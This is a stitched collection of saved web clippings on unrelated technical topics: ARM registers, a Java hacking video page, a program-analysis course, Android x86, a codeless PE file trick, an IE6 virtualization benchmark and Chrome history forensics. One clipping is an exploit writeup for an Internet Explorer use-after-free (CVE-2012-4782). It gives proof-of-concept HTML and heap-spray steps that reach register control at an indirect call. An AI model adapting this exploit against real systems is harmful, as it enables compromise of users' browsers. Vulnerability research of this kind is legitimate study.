\(Hardware Floating Point\) and NEON \(128-bit SIMD Architecture\)**.** Here
is what they are.

Floating Point

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/1104.image002_5F00_595B60BE.jpg' />

As you can see this is 16 – 64bit regiters \(d0-d15\) that is overlaid with 32
– 32bit registers \(s0-s31\)**.** There are varieties of the ARM processor
that has 32 – 64bit registers and 64 – 32bit registers**.** Windows 8 will
support both 16 and 32 register variants**.** You have to be careful when
using these, because if you access unaligned floats you may cause an
exception**.**

SIMD \(NEON\)

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/8461.image003_5F00_5163BE5C.jpg' />

As you can see here the SIMD \(NEON\) extension adds 16 – 128 bit registers
\(q0-q15\) onto the floating point registers**.** So if you reference Q0 it is
the same as referencing D0-D1 or S0-S1-S2-S3**.**

In part 2 we will discuss how Windows utilizes this processor**.**

****

# Java and JNLP Application Hacking Tutorial

**Created:**| _10/13/2009 8:45:40 PM_  
---|---  
**Updated:**| _10/13/2009 8:45:55 PM_  
**Author:**| __  
**Tags:**| _Exploit crackme analysis Java_  
  
| SecurityTubeBeta  
Watch ... Learn ... Contribute  
|  × close  
---|---  
| | <img src='img/Temp2_4671.png' width='80' height='28' alt='securitytube home' />| <img src='img/Temp2_4677.png' width='80' height='28' alt='programming videos' />| <img src='img/Temp2_4672.png' width='80' height='28' alt='tools videos' />| <img src='img/Temp2_4667.png' width='80' height='28' alt='basics videos' />| <img src='img/Temp2_4669.png' width='80' height='28' alt='fun' />  
---|---|---|---|---|---  
<img src='img/Temp2_4666.png' width='800' height='3' alt='divider' />  
| <img src='img/Temp2_4663.png' alt='upload video on SecurityTube' /><img
src='img/Temp2_4668.png' />| **Forums**| <img src='img/Temp2_4675.png'
width='88' height='26' />  
---|---|---  
# Java and JNLP Application Hacking  
<img src='img/Temp2_4658.png' width='730' height='90' alt='SecurityTubeCon
CFP' />  
##

## In this video you'll learn new methods of using IDA Pro for Java files, how
to hack and modify Java byte code. This video uses new innovative method for
Java byte code modification.  
  
Thanks to JavaGuru \(JavaGuru1999 \[\] yahoo.de\) for referring this video to
us.  
  
  
<img src='img/Temp2_4663.png' /><img src='img/Temp2_4664.png' width='30' />
<img src='img/Temp2_4670.png' /><img src='img/Temp2_4664.png' width='30' />
<img src='img/Temp2_4659.png' /><img src='img/Temp2_4664.png' width='30'
/><img src='img/Temp2_4674.png' /> <img src='img/Temp2_4675.png' width='88'
height='26' /> <img src='img/Temp2_4664.png' width='30' /><img
src='img/Temp2_4668.png' />  
## **We hate these ADs as much as you do\! Help us stay FREE and CLEAN by
making a Generous Donation\!**

<img src='img/Temp2_4676.png' width='1' height='1' />  
<img src='img/Temp2_4661.png' />  
Related Videos from: Web Application Security Threats \(2\)  
<img src='img/Temp2_4666.png' width='800' height='3' alt='divider' />  
| <img src='img/Temp2_4665.png' width='130' height='100' />| <img src='img/Temp2_4660.png' width='130' height='100' />| <img src='img/Temp2_4673.png' width='130' height='100' />| | |   
---|---|---|---|---|---  
Blind SQL Injection Demo| Hacking Web Users using BeEF and Metasploit| You are Viewing this Video Now\! | | |   
612 views | 931 views | 621 views | | |   
Author  
<img src='img/Temp2_4666.png' width='800' height='3' />  
<img src='img/Temp2_4662.png' alt='Vivek-Ramachandran' />

## Vivek Ramachandran is a security evangelist and has been working in
computer security related fields for the past 7 years. In 2007, Vivek spoke at
world renowned conferences Defcon \(WEP Cloaking Exposed\) and Toorcon \(The
Caffe Latte Attack\). The discovery of the Caffe Latte Attack was covered by
CBS5 news, BBC online, Network World etc news agencies.In 2006, Vivek was
announced as one of winners of the Microsoft Security Shootout contest held in
India among 65,000 participants. He has also been a recipient of a Team
Achievement at Cisco Systems for his work on 802.1x and Port Security modules
on the Catalyst 6500 switches. Currently he spends all of his time maintaining
Security- Freak.Net , SecurityTube.Net and is the co-founder of Axonize.
Vivek, is a Bachelor in Electronics and Communications Engineering from the
prestigious Indian Institute of Technology, Guwahati.You can contact him at
vivek\[at\]securitytube.net  
<img src='img/Temp2_4666.png' width='800' height='3' />  
<img src='img/Temp2_4666.png' width='800' height='3' />  
| | **©2007 Freak Labs**| Forums| Blog| Sitemap  
---|---|---|---|---

# pylibscizzle - Übersicht - code.mwcollect.org

**Created:**| _5/27/2011 11:49:53 AM_  
---|---  
**Updated:**| _5/27/2011 11:49:53 AM_  
**Author:**| __  
**Tags:**| _shellcode python_  
  

ython based Python bindings for libscizzle by Jason Jones.

Check out the GIT from http://git.mwcollect.org/pylibscizzle.git/

# Program Analysis \(notes, assignments, source code\) presented by Turing
Award winner Amir Pnueli

**Created:**| _2/3/2010 9:31:18 AM_  
---|---  
**Updated:**| _2/3/2010 9:32:03 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark_  
  

* * *
# Program Analysis

G22.3033-016  
Monday, 5:00-6:50 PM  
Room 101 WWH  
**Amir Pnueli**

### Reaching Me

#### Amir Pnueli

  * e-mail amir@cs.nyu.edu
  * phone: \(212\) 998-3225
  * office: WWH, Room 505
  * office hours: Monday 2:00-4:00 PM, or by appointment

### Course Description

This interdisciplinary course lies on the border between Compiler Techniques
and Program Verification. It introduces methods intended to guarantee with
very high confidence that an industrial-size program meets its specification
and can never hurt the environment in which it is run.

The methods considered extend the compiler technology of data- and control-
flow analysis and type checking, by paying more attention to the accumulation
and utilization of program invariants.

The verification field contributes to this area the techniques of abstract
interpretation, predicate abstraction, and static analysis. These techniques
will be introduced and studied as the foundation for program analysis.

The area of program analysis is gaining more interest and attention also from
the industrial sector, as illustrated by the recent adoption by Microsoft of
their own program-analysis tool SLAM for verifying the safety of device
drivers which are contributed to Windows by the equipment manufacturers.

**Prerequisites:** Some background in algorithm design, familiarity with the
language of first-order logic, and knowledge of compiler construction
techniques.

**Course requirements:** Assignments and a term project.

**Textbooks:**  
Recommended: Principles of Program Analysis, by Flemming Nielson, Hanne Riis
Nielson, Chris Hankin, Springer-Verlag.

### Class Presentations

  * Lecture 1 -- Jan. 26, 2004: lecture1.ps, lecture1.pdf
  * Lecture 2 -- Feb. 2, 2004: lecture2.ps, lecture2.pdf
  * Lecture 3 -- Feb. 9,23, 2004: lecture3.ps, lecture3.pdf
  * Lecture 4 -- March 1, 2004: lecture4.ps, lecture4.pdf
  * Lecture 5 -- March 8, 2004: lecture5.ps, lecture5.pdf
  * Lecture 6 -- March 22, 2004: lecture6.ps, lecture6.pdf, lecture 6-supplement.ppt
  * Lecture 7 -- April 5, 2004: lecture7.ps, lecture7.pdf
  * Lecture 8 -- April 12, 2004: lecture8.ps, lecture8.pdf
  * Lecture 10 -- April 26, 2004: lecture10.ps, lecture10.pdf

### TLV Resources

  * Executable Tlv for the Solaris system on Sun computers -- sun.tgz.gz.
  * Executable package for Linux -- linux.tgz.gz.
  * Executable package for Cygwin -- cygwin.tgz.gz.
  * TLV Manual -- tlv-manual.ps.gz.
  * Bakery algorithm for N processes \(N=3 in this instance\) -- bakeryN.smv.
  * Model checking of Bakery algorithm for N processes -- bakeryN.pf.
  * SMV file for computing abstraction of Bakery\(2\) -- abs-bakeryN.smv.
  * PF file for computing abstraction of Bakery\(2\) -- abs-bakeryN.pf.
  * SMV file for computing abstraction of Reverse\(4\) -- abs-reverse4.smv.
  * PF file for computing abstraction of Reverse\(4\) -- abs-reverse4.pf.

### Assignments

  * Assignment 1 -- ass1.ps, ass1.pdf. Due 4.5.04
  * Assignment 2 -- ass2.ps, ass2.pdf. Due 4.19.04
  * Assignment 3 -- ass3.ps, ass3.pdf. Due 5.10.04

# Быстрая альтернатива эмулятору Android / Android / Хабрахабр

**Created:**| _5/27/2011 11:42:44 AM_  
---|---  
**Updated:**| _5/27/2011 11:42:52 AM_  
**Author:**| __  
**Tags:**| _Debugging x86 android_  
  

## Быстрая альтернатива эмулятору Android

Любой, кто сталкивался с программированием под Android, знает, как «быстро»
работает эмулятор. Причём прогресса никакого нет—в среднем, чем выше версия
Android SDK, тем медленнее эмулятор. Простой запуск приложения в нём—мучение,
а отладка… отладку можно описать только нецензурно. И это не говоря о
постоянно проявляющихся проблемах с запуском эмулятора, которые лечатся только
стиранием всех данных и перезапуском.  
Есть неожиданное решение этого вопроса—проект Android x86. На текущий момент
максимальная доступная версия ОС—2.2.  
  
_Ограничения Android x86 \(некоторые, возможно, можно обойти, но я пока не
разобрался как\):_  

  * Отсутствует SD-карта.
  * Не эмулируется GPS.
  * Не эмулируется телефония.
  * Нельзя сменить ориентацию экрана.

  
**Установка**  

  1. Устанавливаем VirtualBox последней версии.
  2. Скачиваем нужный iso файл
  3. Создаём виртуальную машину Linux 2.6/Other Linux, 512 Mb RAM, Bridged Network, HD 2 Gb, Disable Mouse Integration. Подключаем ISO файл и загружаемся одной из опций LiveCD \(есть вариант HDPI и MDPI\).
  4. Наслаждаемся скоростью работы, а потом нажимаем Alt-F1 для выхода в консоль и набираем netcfg. Запоминаем IP адрес эмулятора и нажатием Alt-F7 возвращаемся в GUI.
  5. `adb connect <IP адрес эмулятора>`
  6. PROFIT\! Наш «эмулятор» доступен из Eclipse\!

  
Фотодоказательство: сессия отладки приложения в Android x86  
<img src='img/Temp2_10805.png' />

# CMarkup Use After Free Vulnerability – CVE-2012-4782 : VNSECURITY / CLGT
TEAM

**Created:**| _1/10/2013 8:01:40 AM_  
---|---  
**Updated:**| _1/10/2013 8:01:40 AM_  
**Author:**| __  
**Tags:**| _Exploit_  
  

# CMarkup Use After Free Vulnerability – CVE-2012-4782

Latest patch tuesday kill one of my 0day in Microsoft Internet Explorer 9/10.
So I decided release Proof Of Concept code and writeup some analyze about this
bug. Hope it helpful.

Here is the PoC:

`01`| `<!doctype html>`  
---|---  
`02`| `<``html``>`  
---|---  
`03`| `<``head``>`  
---|---  
`04`| `<``meta` `http-equiv``=``"X-UA-Compatible"`
`content``=``"IE=EmulateIE8"` `/>`  
---|---  
`05`| `<``script``>`  
---|---  
`06`| `function testcase(){`  
---|---  
`07`| `document.body.appendChild(document.createElement('progress'));`  
---|---  
`08`| `document.body.appendChild(document.createElement("<``track`
`style``=``'float:right'``></``track``>"));`  
---|---  
`09`| `document.body.appendChild(document.createElement('progress'));`  
---|---  
`10`| `document.body.appendChild(document.createElement('table'));`  
---|---  
`11`| `document.body.appendChild(document.createElement("<``track`
`style``=``'float:right'``></``track``>"));`  
---|---  
`12`|
`document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));`  
---|---  
`13`| `document.getElementsByTagName('track').item(0).offsetWidth; `  
---|---  
`14`|  
---|---  
`15`|
`document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));`  
---|---  
`16`| `document.body.appendChild(document.createElement("<``ins`
`style``=``'margin-left:2222222222px'``></``ins``>"));`  
---|---  
`17`|  
---|---  
`18`| `</``script``>`  
---|---  
`19`| `</``head``>`  
---|---  
`20`| `<``body` `onload``=``'testcase();'``>`  
---|---  
`21`|  
---|---  
`22`| `</``body``>`  
---|---  
`23`| `</``html``>`  
---|---  
After running this html we’ve got a nice crash:  
`(fcc.354): Access violation - code c0000005 (!!! second chance !!!)  
eax=0b7befc0 ebx=088cd6b8 ecx=0b6b2fa8 edx=00000006 esi=0b6b2fa8 edi=00000000  
eip=639927e9 esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
MSHTML!CTreeNode::GetFancyFormat+0xc:  
639927e9 0fb74640 movzx eax,word ptr [esi+40h] ds:0023:0b6b2fe8=0000  
0:017> u  
MSHTML!CTreeNode::GetFancyFormat+0xc:  
639927e9 0fb74640 movzx eax,word ptr [esi+40h]  
639927ed 6685c0 test ax,ax  
`

Now I’m turn on my binary framework \( a PIN instrumentation plugin do many
thing like: crash analyze, taint tracing, code coverage..\).  
And here is the result:

`  
Exception Point: 639927e9 0fb74640 movzx eax,word ptr [esi+40h]  
Current Register:  
eax:0b7befc0  
esi:0b6b2fa8  
Backtrace analyze:  
[+]639927e7 -> esi: 0b6b2fa8 | ecx: 0b6b2fa8  
[+]639927e5 -> ecx: 0b6b2fa8  
[+]636c1d2d -> ecx:0b6b2fa8  
[+]639ae295 -> esi: 0b6b2fa8  
===================  
Detect Freed Address: 0b6b2fa8 at EIP 639AE299  
With param: HeapFree(150000,23,0b6b2fa8)  
`

So it is a pretty nice Used After Free vulnerability. But what is freed?

Wake up again the tool and collect some information about Heap Allocate i can
see:  
`  
.....  
Detect Heap Allocate : 638f13dc  
With Param: HeapAlloc(150000, 8u, 0x54)  
Return value: 291f8fa8`

And it occur in function:  
CMarkup::InsertElementInternal  
So now we can use a little trick to manipulate freed address:

`01`| `<!doctype html>`  
---|---  
`02`| `<``html``>`  
---|---  
`03`| `<``head``>`  
---|---  
`04`| `<``meta` `http-equiv``=``"X-UA-Compatible"`
`content``=``"IE=EmulateIE8"` `/>`  
---|---  
`05`|  
---|---  
`06`| `<``script``>`  
---|---  
`07`|  
---|---  
`08`| `function testcase(){`  
---|---  
`09`|  
---|---  
`10`| `var img = new Array();`  
---|---  
`11`| `for(var i = 0;i < ``100``;i++){`  
---|---  
`12`| `img[i] = document.createElement('img');`  
---|---  
`13`| `img[i]["src"] = "a";`  
---|---  
`14`| `}`  
---|---  
`15`| `document.body.appendChild(document.createElement('progress'));`  
---|---  
`16`| `document.body.appendChild(document.createElement("<track
``style``=``'float:right'``></``track``>"));`  
---|---  
`17`| `document.body.appendChild(document.createElement('progress'));`  
---|---  
`18`| `document.body.appendChild(document.createElement('table'));`  
---|---  
`19`| `document.body.appendChild(document.createElement("<``track`
`style``=``'float:right'``></``track``>"));`  
---|---  
`20`|
`document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));`  
---|---  
`21`| `document.getElementsByTagName('track').item(0).offsetWidth; `  
---|---  
`22`|  
---|---  
`23`|
`document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));`  
---|---  
`24`| `document.body.appendChild(document.createElement("<``ins`
`style``=``'margin-left:2222222222px'``></``ins``>"));`  
---|---  
`25`|  
---|---  
`26`| `window.scroll(500);`  
---|---  
`27`|  
---|---  
`28`| `for(var j = 0;j < ``99``;j++){`  
---|---  
`29`| `img[j]["src"] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";} `  
---|---  
`30`|  
---|---  
`31`| `}`  
---|---  
`32`|  
---|---  
`33`| `</script>`  
---|---  
`34`| `</``head``>`  
---|---  
`35`| `<``body` `onload``=``'testcase();'``>`  
---|---  
`36`|  
---|---  
`37`| `</``body``>`  
---|---  
`38`| `</``html``>`  
---|---  
And we’ve got:  
`  
(c10.d88): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000041 ebx=088cd6b8 ecx=00410041 edx=ff000000 esi=0c53efa8 edi=00000000  
eip=639927ff esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
MSHTML!CTreeNode::GetFancyFormat+0x1e:  
639927ff 8b4a2c mov ecx,dword ptr [edx+2Ch] ds:0023:ff00002c=????????  
0:017> dd esi  
0c53efa8 00410041 00410041 00410041 00410041  
0c53efb8 00410041 00410041 00410041 00410041  
0c53efc8 00410041 00410041 00410041 00410041  
0c53efd8 00410041 00410041 00410041 00410041  
0c53efe8 00410041 00410041 00410041 00410041  
0c53eff8 00410041 d0d00000 ???????? ????????  
0c53f008 ???????? ???????? ???????? ????????  
0c53f018 ???????? ???????? ???????? ????????  
0:017> dd 410041  
00410041 b341be78 7274f8ac 18ea3e88 3c00005c  
00410051 ff000000 4dffffff cbb7a93b b0487827  
00410061 ebd03627 48a7a85f 3d00005c ff000000  
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b  
00410081 74f7c784 3e00005c ff000000 f0ffffff  
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad  
004100a1 3f00005c ff000000 93ffffff ddca1f10  
004100b1 844c01b0 ebee76ab dc391fca 4000005c  
0:017> u  
`  
Why it crashing here:  
`  
.text:639927E9 movzx eax, word ptr [esi+40h]  
.text:639927ED test ax, ax  
.text:639927F0 js loc_63842DAE  
.text:639927F6 mov ecx, [esi+50h]  
.text:639927F9 mov edx, [ecx+80h]  
.text:639927FF mov ecx, [edx+2Ch]`  
Since we can control esi, we can force program to jump 63842DAE by changing
some bytes in img.src:  
`  
..  
img[j]["src"] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}  
....  
`

`  
(614.fd4): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000000 ebx=00000000 ecx=00410041 edx=b341be78 esi=088ccc00 edi=0c540fa8  
eip=6383a61a esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
MSHTML!CTreeNode::ComputeFormats+0xa1:  
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h] ds:0023:b341bf3c=????????  
0:017> dd edi  
0c540fa8 00410041 00410041 00410041 00410041  
0c540fb8 00410041 00410041 00410041 00410041  
0c540fc8 00410041 00410041 00410041 00410041  
0c540fd8 00410041 00410041 00410041 00410041  
0c540fe8 41418141 00410041 00410041 00410041  
0c540ff8 00410041 d0d00000 ???????? ????????  
0c541008 ???????? ???????? ???????? ????????  
0c541018 ???????? ???????? ???????? ????????  
0:017> dd ecx  
00410041 b341be78 7274f8ac 18ea3e88 3c00005c  
00410051 ff000000 4dffffff cbb7a93b b0487827  
00410061 ebd03627 48a7a85f 3d00005c ff000000  
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b  
00410081 74f7c784 3e00005c ff000000 f0ffffff  
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad  
004100a1 3f00005c ff000000 93ffffff ddca1f10  
004100b1 844c01b0 ebee76ab dc391fca 4000005c  
`

And we change edi:  
`  
img[j]["src"] =
"AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}  
`

And Boom:  
`  
eax=00000000 ebx=00000000 ecx=55555555 edx=640386e0 esi=088ccc00 edi=0c678fa8  
eip=6383a618 esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
MSHTML!CTreeNode::ComputeFormats+0x9f:  
6383a618 8b11 mov edx,dword ptr [ecx] ds:0023:55555555=????????  
0:017> u  
MSHTML!CTreeNode::ComputeFormats+0x9f:  
6383a618 8b11 mov edx,dword ptr [ecx]  
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h]  
6383a620 ffd0 call eax  
6383a622 8b400c mov eax,dword ptr [eax+0Ch]  
6383a625 57 push edi  
6383a626 893e mov dword ptr [esi],edi  
6383a628 894604 mov dword ptr [esi+4],eax  
6383a62b 8b0f mov ecx,dword ptr [edi]`

Good luck pwner :p

**Share and Enjoy:**

<img
src='http://www.gravatar.com/avatar/ad3c0c19e92116a017be7779c951b621?s=64&d=http%3A%2F%2Fwww.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D64&r=G'
width='64' height='64' />**About suto**

#### Speak Your Mind

**Tell us what you're thinking...  
and oh, if you want a pic to show with your comment, go get a gravatar\!**

Click here to cancel reply.

Name \(required\)

Mail \(will not be published\) \(required\)

Website

# PE Trick \#1: A Codeless PE Binary File That Runs « Alex Ionescu’s Blog

**Created:**| _9/30/2014 3:53:41 PM_  
---|---  
**Updated:**| _9/30/2014 3:53:41 PM_  
**Author:**| __  
**Tags:**| _pecoff binary_  
  

# PE Trick \#1: A Codeless PE Binary File That Runs

## Introduction

One of the annoying things of my Windows Internals/Security research is when
_every single_ component and mechanism I’ve looked at in the last six months
has ultimately resulted in me finding very interesting design bugs, which I
must now wait on Microsoft to fix before being able to talk further about
them. As such, I have to take a smaller break from kernel-specific research
\(although I hope to lift the veil over at least one issue at the No Such
Conference in Paris this year\). And so, in the next following few blog posts,
probably inspired by having spent too much time talking with my friend Ange
Albertini, I’ll be going over some neat PE tricks.

## Challenge

Write a portable executable \(PE/EXE\) file which can be spawned through a
standard _CreateProcess_ call and will result in STATUS\_SUCCESS being
returned as well as a valid Process Handle, but will not

  * Contain any actual x86/x64 assembly code section \(i.e.: the whole PE should be read-only, no +X section\)
  * Run a single instruction of what could be construed as x86 assembly code, which is part of the file itself \(i.e.: random R/O data should not somehow be forced into being executed as machine code\)
  * Crash or make any sort of interactive/visible notice to the user, event log entry, or other error condition.

Interesting, this was actually a real-world situation that I was asked to
provide a solution for — not a mere mental exercise. The idea was being able
to prove, in the court of law, that no “foreign” machine code had executed as
a result of this executable file having been launched \(i.e.: obviously the
kernel ran some code, and the loader ran too, but all this is pre-existing
Microsoft OS code\). Yet, the PE file had to not only be valid, but to also
return a valid process handle to the caller.

## Solution

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    
[/code]

|

[code]

    HEADER00000000 ; IMAGE_DOS_HEADER
    HEADER00000000
    HEADER00000000 686p
    HEADER00000000 mmx
    HEADER00000000 model 
    HEADER00000000
    HEADER00000000 ; Segment type: Pure data
    HEADER00000000 HEADER segment page public 'DATA' use32
    HEADER00000000 assume HEADER
    HEADER00000000 __ImageBase  5A4Dh ; PE magic number
    HEADER00000002   ; Bytes on last page of file
    HEADER00000004 ; IMAGE_NT_HEADERS
    HEADER00000004  4550h ; Signature
    HEADER00000008 ; IMAGE_FILE_HEADER
    HEADER00000008   ; Machine
    HEADER0000000A   ; Number of sections
    HEADER0000000C   ; Time stamp
    HEADER00000010   ; Pointer to symbol table
    HEADER00000014   ; Number of symbols
    HEADER00000018   ; Size of optional header
    HEADER0000001A   ; Characteristics
    HEADER0000001C ; IMAGE_OPTIONAL_HEADER
    HEADER0000001C   ; Magic number
    HEADER0000001E   ; Major linker version
    HEADER0000001F   ; Minor linker version
    HEADER00000020   ; Size of code
    HEADER00000024   ; Size of initialized data
    HEADER00000028   ; Size of uninitialized data
    HEADER0000002C  7FBE02F8h ; Address of entry point
    HEADER00000030   ; Base of code
    HEADER00000034   ; Base of data
    HEADER00000038  400000h ; Image base
    HEADER0000003C   ; Section alignment
    HEADER00000040   ; File alignment
    HEADER00000044   ; Major operating system version
    HEADER00000046   ; Minor operating system version
    HEADER00000048   ; Major image version
    HEADER0000004A   ; Minor image version
    HEADER0000004C   ; Major subsystem version
    HEADER0000004E   ; Minor subsystem version
    HEADER00000050   ; Reserved 1
    HEADER00000054   ; Size of image
    HEADER00000058   ; Size of headers
    HEADER0000005C   ; Checksum
    HEADER00000060   ; Subsystem
    HEADER00000062   ; Dll characteristics
    HEADER00000064   ; Size of stack reserve
    HEADER00000068   ; Size of stack commit
    HEADER0000006C   ; Size of heap reserve
    HEADER00000070   ; Size of heap commit
    HEADER00000074   ; Loader flag
    HEADER00000078   ; Number of data directories
    HEADER0000007C HEADER ends
    HEADER0000007C end
[/code]  
---|---  
As per Corkami, in Windows 7 and higher, you’ll want to make sure that the PE
is at least 252 bytes on x86, or 268 bytes on x64.

Here’s a 64 byte Base64 representation of a .gz file containing the 64-bit
compatible \(268 byte\) executable:

[code]

    H4sICPwJKlQCAHguZXhlAPONYmAIcGVg8GFkQANMDNxoYj+Y9tUjeA4MLECSBc5HsB1QTBk6AAB
    e6Mo9DAEAAA==
    
[/code]

## Caveat

There is one non-standard machine configuration in which this code will
actually still crash \(but still return STATUS\_SUCCESS in _CreateProcess_ ,
however\). This is left as an exercise to the reader.

## Conclusion

<img src='img/Temp2_5998.png' />

The application executes and exits successfully. But as you can see, no code
is present in the binary. How does it work? Do you have any other solutions
which satisfy the challenge?

This entry was posted on Monday, September 29th, 2014 at 9:12 pm and is filed
under Coding and Reversing, Random Tidbits. You can follow any responses to
this entry through the RSS 2.0 feed. You can leave a response, or trackback
from your own site.

# Benchmarking IE6 Virtualization: VMware ThinApp vs. Symantec Workspace Virtualization | Nektra Advanced Computing Blog
**Created:**| _2/24/2014 9:05:54 PM_  
---|---  
**Updated:**| _2/24/2014 9:05:54 PM_  
**Author:**| __  
**Tags:**| _virtusalisation performance_  
  

# **B** enchmarking IE6 Virtualization: VMware ThinApp vs. Symantec Workspace
Virtualization****

March 15th, 2013 | Posted by Sebastian Wain  in application virtualization  | SpyStudio 
## Introduction****

Below we use SpyStudio  to compare ThinApp and Workspace Virtualization
performance**.** Both Symantec and VMware highlight the use of application
virtualization to run legacy web applications**.** There is a huge number of
mission critical web applications that only run correctly on Internet Explorer
6 and while companies may be able to afford the cost of migrating applications
to modern browsers, they cannot afford even a short application
interruption**.** Virtualization allows companies to continue to run their
legacy applications while moving to more modern technology**.**

The challenges of virtualizing IE6 are not limited to rendering HTML: Java
applets, ActiveX, and Flash must also be virtualized**.** This benchmark
compares how long it takes to: launch Internet Explorer 6, launch IE6 and
navigate to Nektra’s blog, and open Internet options**.** We ran each test ten
times. SpyStudio can also be used to benchmark specific bottlenecks in plugins
and components and to identify compatibility issues**.**

## Benchmark****

### Launch IE6****

Symantec Workspace Virtualization| VMWare ThinApp  
---|---  
Min| 1**.** 5730167 secs| 2.217207 secs  
Max| 1**.** 800602 secs| 2.5048638 secs  
Avg| 1**.** 681593789 secs| 2.360678356 secs  
Median| 1**.** 6773198 secs| 2.3479585 secs  
SD| 0**.** 076693291 secs| 0.104027481 secs  
### Launch IE6 and Navigate to http://blog.nektra.com****

Symantec Workspace Virtualization| VMWare ThinApp  
---|---  
Min| 7**.** 0385753 secs| 9.0458817 secs  
Max| 7**.** 3155127 secs| 10.1313509 secs  
Avg| 7**.** 152178211 secs| 9.4426123 secs  
Median| 7**.** 1880917 secs| 9.3928642 secs  
SD| 0**.** 098509252 secs| 0.293977928 secs  
### Open Internet Options****

Symantec Workspace Virtualization| VMWare ThinApp  
---|---  
Min| 1**.** 8866595 secs| 2.5610158 secs  
Max| 2**.** 215396 secs| 2.9904516 secs  
Avg| 2**.** 025388122 secs| 2.767548167 secs  
Median| 2**.** 0197439 secs| 2.7876525 secs  
SD| 0**.** 101490761 secs| 0.152657664 secs  
## Conclusions****

These benchmark results show that Symantec Workspace Virtualization is faster
in all three tests**.**

Symantec Workspace Virtualization was an average of 71 % faster when launching
IE6, 75 % faster when launching IE6 and opening Nektra’s blog, and 73 % faster
when launching IE6 and opening Internet options**.**

You can easily benchmark these and other virtualization products yourself with
SpyStudio**.** Download a free trial here .

## Related Services****

## See Also****

****

# Google Chrome Forensics

**Created:**| _1/22/2010 8:54:00 AM_  
---|---  
**Updated:**| _1/22/2010 8:54:08 AM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

## Google Chrome Forensics

Posted by kristinn on January 21, 2010 – 7:33 am

Filed under Browser Forensics, Computer Forensics

Google Chrome stores the browser history in a SQLite database, not unlike
Firefox. Yet the structure of the database file is quite different.

Chrome stores its files in the following locations:

  * Linux: /home/$USER/.config/google-chrome/
  * Linux: /home/$USER/.config/chromium/
  * Windows Vista \(and Win 7\): C:Users\[USERNAME\]AppDataLocalGoogleChrome
  * Windows XP: C:Documents and Settings\[USERNAME\]Local SettingsApplication DataGoogleChrome

There are two different versions of Google Chrome for Linux, the official
packets distributed by Google, which stores its data in the google-chrome
directory and the Linux distributions version Chromium.

The database file that contains the browsing history is stored under the
Default folder as “History” and can be examined using any SQLlite browser
there is \(such as sqlite3\). The available tables are:

  * downloads
  * presentation
  * urls
  * keyword\_search\_terms
  * segment\_usage
  * visits
  * meta
  * segments

The most relevant tables for browsing history are the “urls” table that
contains all the visited URLs, the “visits” table that contains among other
information about the type of visit and the timestamps and finally the
“downloads” table that contains a list of downloaded files.

If we examine the urls table for instance by using sqlite3 we can see:

[code]

    sqlite> .schema urls
    CREATE TABLE urls(id INTEGER PRIMARY KEY,url LONGVARCHAR,title LONGVARCHAR,visit_count INTEGER DEFAULT 0 NOT NULL,
    typed_count INTEGER DEFAULT 0 NOT NULL,last_visit_time INTEGER NOT NULL,hidden INTEGER DEFAULT 0 NOT NULL,
    favicon_id INTEGER DEFAULT 0 NOT NULL);
    CREATE INDEX urls_favicon_id_INDEX ON urls (favicon_id);
    CREATE INDEX urls_url_index ON urls (url);
    
[/code]

And the visits table

sqlite> .schema visits  
CREATE TABLE visits\(id INTEGER PRIMARY KEY,url INTEGER NOT NULL,visit\_time
INTEGER NOT NULL,from\_visit INTEGER,transition INTEGER DEFAULT 0 NOT
NULL,segment\_id INTEGER,is\_indexed BOOLEAN\);  
CREATE INDEX visits\_from\_index ON visits \(from\_visit\);  
CREATE INDEX visits\_time\_index ON visits \(visit\_time\);  
CREATE INDEX visits\_url\_index ON visits \(url\);

So we can construct a SQL statement to get some information about user browser
habit.

[code]

    SELECT urls.url, urls.title, urls.visit_count, urls.typed_count, urls.last_visit_time, urls.hidden, visits.visit_time, visits.from_visit, visits.transition
    FROM urls, visits
    WHERE
     urls.id = visits.url
    
[/code]

This SQL statement extracts all the URLs the user visited alongside the visit
count, type and timestamps.

If we examine the timestamp information from the visits table we can see they
are not constructed in an Epoch format. The timestamp in the visit table is
formatted as the number of microseconds since midnight UTC of 1 January 1601,
